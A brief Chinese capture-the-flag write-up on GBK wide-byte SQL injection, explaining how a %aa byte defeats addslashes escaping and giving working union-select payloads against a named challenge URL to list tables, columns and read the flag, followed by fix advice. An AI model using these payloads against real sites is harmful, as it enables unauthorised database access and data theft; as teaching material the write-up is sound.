sql注入-宽字节注入

宽字节注入原理

当数据库编码方式为gdk时,一个汉字会占用两个字节,平常字符会占一个字节

例如: url编码之后为 => %c4%e3       # url编码之后为 => %23  ' url编码之后为 => %27  \ url编码之后为 => %5c

addslashes函数防止sql注入,将传入参数值进行转义。将' 转义为\',单引号失去作用,导致无法进行sql注入

这时可以利用汉字编码为2个,\ 的编码为%5c为1个将 \ 弄无效


实现

这里用南邮的一道题目来实现一下:

题目链接:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1

url后面添加单引号,单引号前面有 \ 说明可能使用了addslashes函数


在单引号前随便添加一个,这里添加%aa,然后报错,说明可以注入


order by判断列数,可知一共2列,下面正常注入

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%aa%27 order by 2#

2是回显位,然后查看数据库,得到库名sae-chinalover

获取全部表名
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%aa%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

查询表名找到flag字段(这里要将表名进行16进制编码)
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%aa%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634#


flag不唯一,这里随便找了一个

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%aa%27 union select 1,flag from ctf4#

修复方案

1.使用utf-8

2.mysql_real_escape_string,mysql_set_charset('gbk',$conn)

3.设置参数,character_set_client=binary

你可能感兴趣的:(sql注入-宽字节注入)